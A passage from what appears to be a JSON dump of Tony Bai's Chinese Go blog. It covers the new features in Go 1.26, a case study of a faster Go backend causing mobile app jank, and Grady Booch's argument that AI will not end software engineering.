href=\"https://factory.strongdm.ai/\"\u003eStrongDM AI 团队在 2026 年 2 月 6 日 发布的备忘录\u003c/a\u003e中，白纸黑字写下的第一条铁律。\u003c/p\u003e","title":"“代码必须不是人写的”：2026 年软件工厂宣言！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/14/some-changes-in-go-1-26\n大家好，我是Tony Bai。\n北京时间 2026 年 2 月 10 日，Go 团队正式发布了 Go 1.26。\n时光飞逝，距离我在博客中写下《Go 1.26 新特性前瞻》已经过去了两三个月。在那篇文章中，我们基于Go 1.26开发分支对这一版本进行了初步的探索。如今，随着正式版的落地，那些曾经躺在 proposal 里的构想、存在于草案中的特性，终于尘埃落定，成为了我们手中实实在在的工具。\n官方 Go 1.26 Release Notes 中平实的语言背后，隐藏着巨大的工程价值。如果用一个词来形容 Go 1.26，我认为是**“精益求精的工程化胜利”**。\n与引入泛型的 Go 1.18 或引入函数迭代器的 Go 1.23 不同，Go 1.26 并没有带来颠覆性的语言范式改变，但它在编码体验、底层性能以及工具链智能化这三个维度上，都交出了一份令人惊艳的答卷。从千呼万唤始出来的 new(expr) 语法糖，到默认启用的 Green Tea GC，再到重构后的 go fix，每一个改动都切中了工程实践中的痛点。\n本文将基于官方发布的 Release Notes，结合我之前的深度分析，为你全景式解析 Go 1.26 中那些最值得关注的变化。\n语言变化：不仅是语法糖，更是生产力 new(expr)：指针初始化的终极解法 在 Go 语言的日常开发中，我们经常面临一个尴尬的场景：如何获取一个字面量（Literal）或表达式结果的指针？\n在 Go 1.26 之前，我们无法直接对字面量取地址（\u0026amp;10 是非法的）。为了初始化一个包含指针字段的结构体（这在 JSON/Protobuf 的可选字段、数据库 ORM 映射中极其常见），我们不得不引入临时变量，或者定义辅助函数：\n// Go 1.26 之前：繁琐的临时变量或辅助函数 func IntP(i int) *int { return \u0026amp;i } timeoutVal := 30 conf := Config{ Timeout: \u0026amp;timeoutVal, // 必须先定义变量 Retries: IntP(3), // 或者依赖辅助函数 } 这种写法不仅啰嗦，还打断了代码的阅读流。社区为此发明了无数个 ptr 库，甚至很多项目里都有一个 util.go 专门放这些 helper。\nGo 1.26 终于原生解决了这个问题。 内置函数 new() 的语法得到了扩展，现在它允许接收一个表达式作为参数，并返回指向该表达式值的指针。\n// Go 1.26：优雅的内联初始化 // 完整代码：https://go.dev/play/p/kEYZC3W6-sa conf := Config{ Timeout: new(30), // 直接获取整型字面量的指针 Role: new(\u0026#34;admin\u0026#34;), // 直接获取字符串字面量的指针 Active: new(true), // 布尔值也不在话下 Start: new(time.Now()), // 甚至是函数调用的结果 } 这不仅是一个语法糖，它极大地提升了配置对象、API 请求体构建时的代码可读性，消除了大量无意义的中间变量，让代码变成了声明式的“一行流”。\n关于这个特性的演变历程以及社区的讨论细节，可以参考我之前的文章《从 Rob Pike 的提案到社区共识：Go 或将通过 new(v) 彻底解决指针初始化难题》。\n泛型约束的自我引用 Go 1.26 解除了泛型类型在类型参数列表中引用自身的限制。这意味着我们现在可以定义更加复杂的递归数据结构或接口约束。\n// 以前这是非法的，现在合法了 type Adder[A Adder[A]] interface { Add(A) A } func algo[A Adder[A]](x, y A) A { return x.Add(y) } 这一改变虽然对日常业务代码影响较小，但对于编写通用库、ORM 框架或复杂算法库的开发者来说，它消除了一个长期存在的类型系统痛点，让泛型的表达能力更上一层楼，简化了复杂数据结构的实现。\n关于这个特性的演变历程以及社区的讨论细节，可以参考我之前的文章《Go 泛型再进化：移除类型参数的循环引用限制》。\n运行时与编译器：看不见的性能飞跃 Go 1.26 在“看不见的地方”下了苦功，不仅让 GC 焕然一新，还解决了 Cgo 和切片分配的性能瓶颈。\n“Green Tea” GC：默认启用的性能引擎 在 Go 1.25 作为实验特性登场后，代号为 “Green Tea” 的新一代垃圾回收器在 Go 1.26 正式转正，成为默认 GC。\nGreen Tea GC 是 Go 运行时团队针对现代硬件特性和分配模式进行的一次深度重构。它主要优化了小对象的标记和扫描过程，通过更好的内存局部性（Locality）和 CPU 扩展性，显著提升了 GC 效率。\n开销降低：根据官方发布说明，在重度依赖 GC 的真实应用中，GC CPU 开销降低了 10% – 40%。这意味着你的微服务可能在不增加硬件资源的情况下，吞吐量获得直接提升。 向量化加速：在支持 AVX 等向量指令集的现代 CPU（如 Intel Ice Lake 或 AMD Zen 4 及更新架构）上，Green Tea GC 会利用 SIMD 指令加速扫描，带来额外的性能提升。 这对于微服务、高并发 Web 应用等存在大量临时小对象分配的场景来说，是一次免费的性能升级。你无需修改一行代码，只需升级 Go 版本。\n关于 Green Tea GC 的深层原理和架构演进，我在《Go 官方详解“Green Tea”垃圾回收器：从对象到页，一场应对现代硬件挑战的架构演进》一文中有详细解读。\nCgo 调用提速 30% 对于依赖 SQLite、图形库、系统底层 API 或其他 C 库的 Go 应用，这是一个巨大的利好。Go 1.26 将 Cgo 调用的基准运行时开销（Baseline Runtime Overhead）降低了约 30%。这意味着跨语言调用的“税”被进一步降低，Go 在系统编程和嵌入式领域的竞争力再次提升。\n编译器进化：栈上分配切片底层数组 对于 Go 开发者而言，“栈分配（Stack Allocation）”由于无需 GC 介入，其效率远高于堆分配。\nGo 1.26 的编译器进一步增强了逃逸分析能力。编译器现在能够在更多场景下，将切片的底层数组（Backing Store）直接分配在栈上。这主要针对那些使用 make 创建但大小非固定（但在一定范围内）的切片场景。\n这一改进直接减少了堆内存的分配次数，进而降低了 GC 扫描的压力。如果你对这一编译器优化技术感兴趣，或者想了解如何利用 PGO 驱动逃逸分析，推荐阅读《PGO 驱动的“动态逃逸分析”：w.Write(b) 中的切片逃逸终于有救了？》。\n实验性特性：Goroutine 泄露分析 Goroutine 泄露一直是 Go 并发编程中隐蔽且棘手的难题。Go 1.26 引入了一个名为 goroutineleak 的实验性 Profile（需通过 GOEXPERIMENT=goroutineleakprofile 开启）。\n与传统的泄露检测工具不同，该功能基于 GC 的可达性分析。它能检查那些处于阻塞状态的 Goroutine，看它们等待的并发原语（如 Channel、Mutex）是否已经“不可达”。如果一个 Goroutine 等待的 Channel 没有任何活跃的 Goroutine 能够引用到，那么这个 Goroutine 就被判定为“永久泄露”。\n这种检测机制在理论上保证了极低的误报率。这源自 Uber 的内部实践，我在《Goroutine泄漏防不胜防？Go GC或将可以检测“部分死锁”，已在Uber生产环境验证》一文中对此进行了详细介绍。\n工具链：更智能、更规范 go fix 的重生：Modernizers 与内联 Go 1.26 对 go fix 命令进行了彻底重写。它不再是一个简单的语法修补工具，而是基于 Go Analysis Framework 构建的强大现代化引擎。\n新版 go fix 引入了 “Modernizers” 的概念。它包含了几十个分析器，不仅能修复错误，还能主动建议并将你的代码升级为使用最新的语言特性或标准库 API。\n除了 “Modernizers”，新版 go fix 另一个重磅功能是基于 //go:fix inline 指令的自动内联与迁移机制。\n函数内联：如果一个函数被标记了 //go:fix inline，go fix 分析器会建议（并自动执行）将所有对该函数的调用替换为函数体的内容。这对于废弃旧 API 极为有用。例如： // Deprecated: prefer Pow(x, 2). //go:fix inline func Square(x int) int { return Pow(x, 2) } 当用户调用 Square(10) 时，go fix 会将其自动重写为 Pow(10, 2)，从而实现平滑迁移。\n常量内联：同样的机制也适用于常量。如果一个常量定义引用了另一个常量并标记了 //go:fix inline，所有对旧常量的引用都会被自动替换为新常量。 //go:fix inline const Ptr = Pointer // Ptr 的使用者会被自动迁移到 Pointer 跨包/跨版本迁移：这一机制甚至支持跨包迁移。例如，当库升级到 v2 版本时，可以在 v1 包中定义一个内联函数，将调用转发给 v2 包。go fix 会自动将用户代码中的 v1 调用替换为 v2 调用，从而实现低风险的大规模自动化重构。 这种基于源码注释的指令机制，为库作者提供了一种标准化的手段来引导用户升级，彻底改变了过去手动修改或编写复杂迁移脚本的痛苦历史。\ngo mod init 的版本策略变更：兼容为先 这是一个容易被忽视但影响深远的改动。\n在以前，当你用 Go 1.25 工具链运行 go mod init mymod 时，生成的 go.mod 会默认写入 go 1.25。这意味着你的模块无法被 Go 1.24 的用户引用。\n从 Go 1.26 开始，go mod init 变得更加“克制”：\n稳定版工具链：默认生成 1.(N-1).0 版本。例如，使用 Go 1.26 初始化，go.mod 将写入 go 1.25.0。 预览版工具链：默认生成 1.(N-2).0 版本。 这一策略鼓励开发者创建兼容性更好的模块，避免无意中切断了对次新版 Go 用户的支持。这是一个对生态系统非常友好的改动。在后续的文章中，我们会专题对此特性进行说明。\nPprof 默认火焰图 go tool pprof -http 现在默认展示火焰图（Flame Graph）视图，而不是原来的有向图。这顺应了性能分析领域的趋势，火焰图在展示调用栈耗时占比时更为直观，利于快速定位热点。\n标准库：补齐短板，拥抱未来 testing 包：测试产物归档 ArtifactDir 在 CI/CD 环境中，集成测试失败时，我们往往希望能看到当时的日志文件、截图或数据库 Dump。过去，我们需要自己拼接临时目录路径，并祈祷它没有被清理。\nGo 1.26 为 testing.T 和 B 新增了 ArtifactDir() 方法：\n该方法返回一个专门用于存放测试产物的目录路径。 配合 go test -artifacts=./out 参数，可以自动将这些产物收集到指定位置。 这结束了每个项目自己造轮子管理测试临时文件的混乱局面。关于这一特性的详细讨论，可以参考《Go testing包将迎来新增强：标准化属性与持久化构件API即将落地》。\nlog/slog：原生多路输出 MultiHandler 自 slog 引入以来，如何将日志同时输出到控制台和文件一直是个高频问题。Go 1.26 新增了 slog.NewMultiHandler，正式在标准库层面支持了日志的“扇出（Fan-out）”。\n它会将日志分发给多个 Handler，只要任意一个子 Handler 处于 Enabled 状态，日志就会被处理。这意味着我们不再需要引入第三方库来实现这一基础功能。更多背景参考《slog 如何同时输出到控制台和文件？MultiHandler 提案或将终结重复造轮子》。\nerrors：泛型版 AsType errors.As 一直是 Go 错误处理中容易“踩坑”的 API（需要传递指针的指针，否则会 Panic）。Go 1.26 引入了泛型版本的 errors.AsType。\n// Old: 容易写错，运行时反射 var pathErr *fs.PathError if errors.As(err, \u0026amp;pathErr) { ... } // New (Go 1.26): 类型安全，编译期检查 if pathErr, ok := errors.AsType[*fs.PathError](err); ok { ... } 这不仅更安全，而且由于省去了复杂的运行时反射开销，性能也更好。详见《泛型重塑Go错误检查：errors.As的下一站AsA？》。\n拥抱迭代器与零拷贝 reflect 包迭代器：新增 Type.Fields(), Type.Methods() 等方法，返回迭代器序列，允许使用 for range 循环遍历结构体字段，替代了笨拙的索引遍历。 bytes.Buffer.Peek：新增 Peek 方法，允许在不推进读取位置的情况下查看缓冲区数据，为高性能解析场景提供了便利。详见《Go 零拷贝“最后一公里”：Peek API背后的设计哲学与权衡》。 安全增强 crypto/hpke：正式支持 RFC 9180 混合公钥加密 (HPKE)。 Post-Quantum TLS：crypto/tls 默认启用基于 ML-KEM（Kyber）的后量子密钥交换，为未来做好了准备。 runtime/secret (实验性)：提供 secret.Do，确保函数返回后安全擦除栈和寄存器中的敏感数据。详见《Go 安全新提案：runtime/secret 能否终结密钥残留的噩梦？》。 simd/archsimd (实验性)：提供对架构特定 SIMD 指令（如 AVX-512）的直接访问，释放硬件极限性能。详见《解锁CPU终极性能：Go原生SIMD包预览版初探》。 小结 Go 1.26 是一个务实、丰满且充满诚意的版本。\n它没有追求华而不实的新奇法，而是通过 new(expr) 和 go fix 提升开发者的幸福感；通过 Green Tea GC 和编译器优化提升运行时的性能；通过 go mod init 的策略调整和标准库的补全，提升生态系统的健壮性。\n建议大家在详细阅读官方 Release Notes 后，尽快制定升级计划，享受 Go 1.26 带来的红利。\n你的升级计划是？\nGo 1.26 带来了诸多实惠的工程优化。在你看完这些变化后，最想立刻在项目里用起来的特性是哪个？你所在的团队是否已经开始规划升级到这个版本了？\n欢迎在评论区聊聊你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/14/some-changes-in-go-1-26/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/some-changes-in-go-1-26-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26\"\u003ehttps://tonybai.com/2026/02/14/some-changes-in-go-1-26\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e北京时间 2026 年 2 月 10 日，Go 团队正式发布了 \u003ca href=\"https://go.dev/blog/go1.26\"\u003eGo 1.26\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e时光飞逝，距离我在博客中写下《\u003ca href=\"https://tonybai.com/2025/12/16/go-1-26-foresight\"\u003eGo 1.26 新特性前瞻\u003c/a\u003e》已经过去了两三个月。在那篇文章中，我们基于Go 1.26开发分支对这一版本进行了初步的探索。如今，随着正式版的落地，那些曾经躺在 proposal 里的构想、存在于草案中的特性，终于尘埃落定，成为了我们手中实实在在的工具。\u003c/p\u003e","title":"Go 1.26 中值得关注的几个变化：从 new(expr) 真香落地、极致性能到智能工具链"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/13/go-microservices-refactoring-10x-backend-vs-mobile-collapse\n大家好，我是Tony Bai。\n在软件工程的世界里，“快”通常被视为绝对的褒义词。我们追求更低的延迟、更高的吞吐量、更少的 CPU 占用。当一个团队决定将遗留的 Python 单体应用重构为 Go 微服务时，他们的目标显而易见：性能提升。\n然而，最近在 Go 开发者社区（r/golang）引发热议的一个真实案例，却给所有追求极致性能的架构师和开发者泼了一盆冷水。发帖人分享了一个令人咋舌的经历：他们的团队花费四个月时间，成功将核心 API 从 Django 迁移到了 Go（使用 Fiber 框架）。结果是梦幻般的：P95 延迟从 180ms 骤降至 14ms，吞吐量翻了三倍，CPU 资源节省了 60%。\nCTO 发了全员通告庆祝，后端团队沉浸在成功的喜悦中。但在两周后，移动端团队却发出了红色警报：App 变得卡顿、掉帧，甚至导致安卓设备电量疯狂消耗。\n后端性能提升了 10 倍，用户体验却发生了退化。这听起来像是一个悖论，但其背后隐藏着深刻的系统设计原理和软件工程教训。本文将深入剖析这一案例，探讨当“速度”成为一种破坏力时，我们该如何应对。\n完美的重构与意料之外的崩溃 从 Django 到 Go 的跨越 该团队的重构背景在业界非常典型。随着业务增长，基于 Python/Django 的单体应用逐渐显露出性能瓶颈。Python 的 GIL（全局解释器锁）以及动态语言的特性，在处理高并发请求时往往力不从心。\n选择 Go 语言进行重构是极其合理的决策。Go 语言天生具备高并发处理能力（Goroutines），静态编译带来的执行效率，以及相对更低的内存占用，使其成为构建云原生微服务的首选。\n团队选择了 Fiber 框架，这是 Go 生态中以高性能著称的 Web 框架，基于 Fasthttp 构建，旨在追求极致的零内存分配（Zero Allocation）和极速响应。\n重构后的 Benchmark 数据证明了决策的正确性：\nP95 Latency: 180ms -\u0026gt; 14ms（提升约 12 倍） Throughput: 3x（吞吐量翻倍） Resource: CPU -60%（成本大幅降低） 从后端工程师的 KPI 来看，这是一场完美的胜利。\n移动端的“蝴蝶效应” 然而，系统是一个整体。当后端交付了“法拉利引擎”般的 API 时，前端（React Native + Redux）却依然是那辆为“拖拉机”设计的旧车。\n全量上线两周后，问题集中爆发：\n交互卡顿：用户在滚动 Feed 流时出现明显的掉帧。 视觉不稳定：页面元素加载过快，导致屏幕闪烁，给人一种“未在大脑中处理完毕”的错觉。 设备发热与耗电：尤其在中低端 Android 设备上，电池消耗显著增加。 移动端 Team Lead 对此感到困惑：API 响应客观上变快了，理论上 App 的数据加载应该更丝滑，为什么体验反而劣化了？\n深度复盘——当“慢”成为一种隐性依赖 经过一周的排查，团队终于找到了问题的根源，答案简单却令人哭笑不得：前端架构是隐式建立在“后端很慢”这一假设之上的。\n隐性依赖 在旧的架构中，Django API 的响应速度较慢（约 150ms – 200ms）。由于网络延迟和处理时间，客户端发出的连续请求之间天然存在着“时间间隙”。\n移动端的状态管理层（基于 React Native 和旧版 Redux）适应了这种节奏。它假设数据会以“人类可感知的速度” 陆续到达。这种慢速响应在无意中起到了一种天然的节流（Throttling）作用。\n渲染管线的崩溃 当后端切换到 Go 之后，情况发生了质变。\n假设一个典型的页面初始化需要调用 3 个 API 接口：User Profile、Feed Data、Notifications。\n在 Python 时代：这 3 个请求串行或并行发出，由于服务器处理慢，它们返回的时间点较为分散，总耗时可能在 500ms 左右。Redux 接收到第一个响应，更新 State，触发 React 重新渲染（Re-render）；几百毫秒后，第二个响应到达，再次触发渲染。UI 线程有足够的呼吸时间。 在 Go 时代：这 3 个请求几乎在瞬间完成，总耗时不到 50ms。 对于 React Native 的渲染桥（Bridge）和主线程来说，这意味着在极短的时间窗口内，连续收到了 3 次密集的状态更新指令。\n由于该团队使用的是旧版 Redux（未使用 RTK Query 等现代缓存/批处理工具），每一次 API 返回都触发了一个 dispatch 动作，进而触发一次完整的 React 组件树 Diff 和渲染过程。\n后果是灾难性的：\nUI 线程阻塞：3 次高计算量的 Re-render 在几十毫秒内连续发生，瞬间占满了 JS 线程和 UI 线程的资源。 React Native Bridge 拥堵：大量的序列化数据在 JS 和 Native 之间传输，导致通信通道“窒息”。 动画丢帧：此时如果用户正在滑动列表，GPU 和 CPU 都在处理布局计算，无法响应滑动手势，导致直观的“卡顿”。 这就好比你习惯了有人每隔 10 秒给你递一块砖头让你砌墙，突然间，对方换成了机关枪，一秒钟向你发射 100 块砖头，你不仅接不住，还会被砸伤。\n技术层面的反思与海勒姆定律 这个案例是海勒姆定律（Hyrum’s Law）的完美教科书示例。\n海勒姆定律：\n当一个 API 有足够多的用户时，你在契约（Contract）中承诺什么并不重要：你系统所有的**可观测行为（Observable Behaviors）**都将被某些用户所依赖。\n在这个案例中，API 文档（契约）从未承诺“响应时间必须大于 100ms”。但是，“响应慢”是旧系统的可观测行为。移动端代码（有意或无意地）依赖了这个行为来实现流畅的渲染流。当 Go 重构改变了这一行为（尽管是向好的方向改变），它实际上破坏了系统间的“隐性契约”，导致了破坏性的变更。\n为什么中低端设备受害最深？\n发帖人提到，他们在开发测试时使用的是高端手机，这些设备拥有强大的 CPU 和 GPU，能够强行消化 Go 后端带来的密集数据轰炸，因此在开发阶段掩盖了问题。\n而真实用户大量使用的中低端 Android 手机，其 GPU Headroom（GPU 动态余量）非常有限。当短时间内爆发大量布局计算（Layout Calculation）和视图绘制指令时，硬件性能瞬间见顶，直接导致掉帧。这也解释了为什么电池消耗会剧增——CPU 长时间处于高负荷的瞬时峰值状态。\n解决方案——不走回头路 面对这种局面，最糟糕的决策是在 Go 后端增加 time.Sleep() 来模拟旧系统的延迟。这不仅是技术的倒退，更是对计算资源的侮辱。\n该团队最终采取了正确的工程化修复方案，主要集中在移动端架构重构和API 聚合。\n移动端的“防洪堤”：批处理与防抖 修复的核心在于让前端能够优雅地处理高速数据流，而不是被其淹没。\n状态更新批处理： 重构移动端代码，不再对每一个 API 响应立即执行 dispatch。而是将短时间内的多个状态变更合并为一次 Update。在 React 18+ 中，这种自动批处理（Automatic Batching）已经成为默认行为，但在旧版 Redux 中需要手动实现或引入中间件。\n防抖渲染： 设置一个微小的时间窗口（例如 16ms，即一帧的时间），在该窗口内到达的所有数据只触发一次视图更新。这确保了无论后端多快，前端的渲染频率都不会超过屏幕刷新率。\n引入 RTK Query： 在评论区的讨论中，作者提到他们最终切换到了 Redux Toolkit Query。现代的状态管理库通常内置了去重（Deduplication）和缓存策略，能够更好地处理并发请求，避免不必要的渲染抖动。\n后端适配：BFF 模式的回归 既然 Go 处理并发和负载的能力如此之强，后端也承担了一部分优化工作。\nAPI 聚合（Aggregation）： 团队合并了一些不必要分离的端点。以前为了解耦，可能会设计 GET /user, GET /settings, GET /feed。现在，既然 Go 处理 JSON 序列化的速度极快，可以将这些数据合并为一个 GET /bootstrap 或类似的大负载接口。\n对于 Go 来说，序列化 50KB 的 JSON 和序列化 5KB 的 JSON 并没有本质的性能鸿沟；但对于移动端来说，将 3 次网络请求 + 3 次渲染循环 减少为 1 次网络请求 + 1 次渲染循环，是质的飞跃。\n视觉测试的重要性 作者特别提到了一个关键点：Vision Testing Tool。\n常规的单元测试或集成测试只能验证“数据是否正确”，无法验证“动画是否流畅”。他们通过在真实的中低端设备上运行视觉测试工具（如 Drizz Dev 等），捕捉到了肉眼在高端机上难以察觉的微小掉帧。这提醒我们，在涉及端侧性能时，真实设备测试（Real Device Testing）是不可或缺的环节。\n给架构师与开发者的建议 这个“Go 重构引发前端崩溃”的案例，为整个行业提供了宝贵的经验教训。它提醒我们，微服务架构中的“性能”从来不是孤立的指标。\n性能是一种“破坏性变更” 在进行大规模重构时，我们通常只关注功能兼容性（API 字段是否一致）。但时序特性的剧烈变化，同样属于 API 契约的一部分。如果你的新系统比旧系统快 10 倍或慢 10 倍，它都可能破坏上下游的隐式依赖。\n全链路视角的必要性 后端开发者的视野不能止步于 JSON 返回的那一刻。你需要了解你的消费者是谁，他们如何处理数据。\n如果是浏览器，它有强大的 V8 引擎和充足的内存。 如果是移动端，它受限于电池、散热和不稳定的网络。 如果是 IoT 设备，它可能只有几 KB 的内存。 架构设计必须具备全链路视角（Full-stack Perspective）。\n避免“真空中的基准测试” 作者提到，CTO 看到 benchmarks 后非常兴奋并全公司通报。这是一种典型的“真空指标”。真正的成功指标不应该是“API 响应时间”，而应该是“用户可见的交互延迟”或“页面完成加载时间”。\n拥抱 Go，但要理解 Go Go 语言的极致性能是双刃剑。它暴露了系统其他部分的低效。在这个案例中，Go 实际上充当了“压力测试工具”，它无情地暴露了前端架构中遗留的低效状态管理逻辑。\n迁移到 Go 是正确的，它迫使团队偿还了前端的技术债务，最终不仅后端快，前端也更健壮了。\n小结 “我们的 Go 微服务比旧的 Python 服务快 10 倍，但我们的 App 变差了。”\n这句话初听是笑话，细品是哲学。它揭示了分布式系统的复杂性：局部最优不等于全局最优。\n作为 Gopher，我们为 Go 语言的强悍性能感到自豪。但作为工程师，我们更应心存敬畏。在追求速度的道路上，不仅要跑得快，还要确保坐在副驾驶的“前端兄弟”没有被甩出车外。只有当端到端的用户体验得到提升时，重构才算真正成功。\n资料链接：https://www.reddit.com/r/golang/comments/1r2n5ji/our_go_microservice_was_10x_faster_than_the_old/\n你遇到过“太快”带来的烦恼吗？\n局部最优往往会导致全局崩溃。在你的开发生涯中，是否也遇到过这种“优化反而变差”的尴尬？你是如何处理前后端之间的“步调不一致”的？\n欢迎在评论区分享你的“神反转”经历！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/13/go-microservices-refactoring-10x-backend-vs-mobile-collapse/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-microservices-refactoring-10x-backend-vs-mobile-collapse-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/13/go-microservices-refactoring-10x-backend-vs-mobile-collapse\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/13/go-microservices-refactoring-10x-backend-vs-mobile-collapse\"\u003ehttps://tonybai.com/2026/02/13/go-microservices-refactoring-10x-backend-vs-mobile-collapse\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程的世界里，“快”通常被视为绝对的褒义词。我们追求更低的延迟、更高的吞吐量、更少的 CPU 占用。当一个团队决定将遗留的 Python 单体应用重构为 Go 微服务时，他们的目标显而易见：性能提升。\u003c/p\u003e","title":"Go 微服务重构实录：当后端性能提升 10 倍，移动端体验为何反而崩塌？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins\n大家好，我是Tony Bai。\n在 2026 年初的今天，如果你问一个软件工程师“最近感觉如何？”，得到的回答大概率是焦虑。\nAnthropic 的 CEO Dario Amodei 曾预言：“软件工程将在 12 个月内被自动化。”\nGitHub Copilot、Claude Code、Gemini Cli等Coding Agent的代码生成能力确实让人惊叹，但也让人背脊发凉：如果 AI 能瞬间写出完美的 C++ 代码，我们这些还在啃算法、背八股文的人，存在的意义是什么？\n在这个充斥着“软件工程已死”论调的时刻，一位真正的“上古大神”站了出来。\n他是 Grady Booch。\n如果你是计算机科班出身，你一定听过他的名字。他是 UML（统一建模语言）的创始人之一，面向对象设计（OOD）的先驱，IBM Fellow。他入行时，程序员还在用打孔卡；他经历过汇编到高级语言的剧变，也经历过互联网泡沫的崩塌。\n在最近的一次深度访谈中，面对“AI 取代程序员”的言论，Grady Booch 微微一笑，给出了一个截然不同的判断：\n“别担心。软件工程没有死，我们正站在‘第三次黄金时代’的门口。”\n直面争议：“那是纯属胡扯” 访谈中，主持人问 Grady 如何看待“软件工程即将被自动化”的观点。\nGrady 的回答非常直接且不留情面：“纯属胡扯”。\n为什么这位泰斗如此笃定？因为那些鼓吹替代论的 CEO 们，混淆了两个根本性的概念：Coding（编码）与 Engineering（工程）。\nCoding 是什么？是将设计好的逻辑翻译成机器能懂的语言。这是 AI 最擅长的，也是最容易被自动化的“翻译层”。 Engineering 是什么？是在资源受限、需求模糊、环境动态变化的前提下，寻找最优解的过程。 Grady 指出，软件工程师的本质工作，是平衡多维度的力量（Balancing Forces）。你需要平衡物理定律（光速限制延迟、芯片散热）、经济成本（算力预算、开发周期）、法律合规（数据隐私）、人类伦理（算法偏见）。\nGrady补充，“AI 目前只是一个极其高效的‘实现者’。它连理解这些约束的门槛都没摸到。”\n只要这个世界还存在资源稀缺和复杂的人性，就需要工程师去权衡利弊、做出决策。这才是工程的灵魂，而代码只是结果。\n历史的望远镜：软件工程的三次跃迁 为了让我们看清未来，Grady 举起了历史的望远镜。他认为，软件工程的历史，就是一部抽象层级不断提升的历史。\n第一次黄金时代 (1950s – 1970s)：算法抽象 那时，软件刚从硬件中解耦。Fortran 和 Algol 的出现，让程序员不再需要手写汇编。\n当时的焦虑：“高级语言效率太低，真正的程序员只写汇编。” 结果：汇编程序员确实变少了，但软件行业爆发了。我们开始关注算法。 第二次黄金时代 (1980s – 2000s)：对象抽象 随着 PC 的普及，系统复杂度指数级上升。面向对象（OOP）和设计模式应运而生。\n当时的焦虑：“有了图形界面和开发工具，还需要专业程序员吗？” 结果：软件渗入了人类生活的方方面面。我们开始关注对象和交互。 第三次黄金时代 (2000s – Now)：系统抽象 现在，我们进入了第三阶段。云原生、微服务、以及现在的 AI。\n现在的焦虑：“AI 写代码了，我们要失业了。” Grady 的预判：AI 是最新的编译器，是这一代最高的抽象层。它屏蔽了语法的细节，屏蔽了库的调用。 Grady继续指出：“每一次抽象层级的提升，都会消灭低端的重复劳动，但同时会释放出巨大的生产力，让我们去构建更宏大、更复杂的系统。”\n未来的核心竞争力：系统思维 如果 AI 帮我们干了脏活累活（写 CRUD、写测试、修 Bug），那我们该干什么？\nGrady 给年轻工程师的建议是：去拥抱“系统思维（Systems Thinking）”。\n未来的软件工程师，将从 Coder（代码工匠）进化为 Architect（系统架构师）。\n你的核心竞争力将不再是“精通 Go 语法”或“手写红黑树”，而是：\n复杂性管理：当 AI 一天能生成 10 万行代码时，如何保证系统不崩塌？如何设计高可用的架构？ 跨学科融合：Grady 提到了他在 NASA 火星任务中的经历。要构建那个系统，他必须懂生物学、神经学和物理学。AI 时代，软件将进入更多深水区，你需要懂业务、懂人性。 定义问题的能力：AI 是执行者，你是定义者。Problem Shaping（问题重塑）的价值将远远超过 Problem Solving（问题解决）。 “Fear not（不要恐惧）。” Grady 说，“你的工具变了，但你要解决的问题——如何用技术改善人类生活——从未改变。”\n小结：站在深渊边缘，学会飞翔 在访谈的最后，Grady Booch 说了一段极具哲学意味的话。\n面对 AI 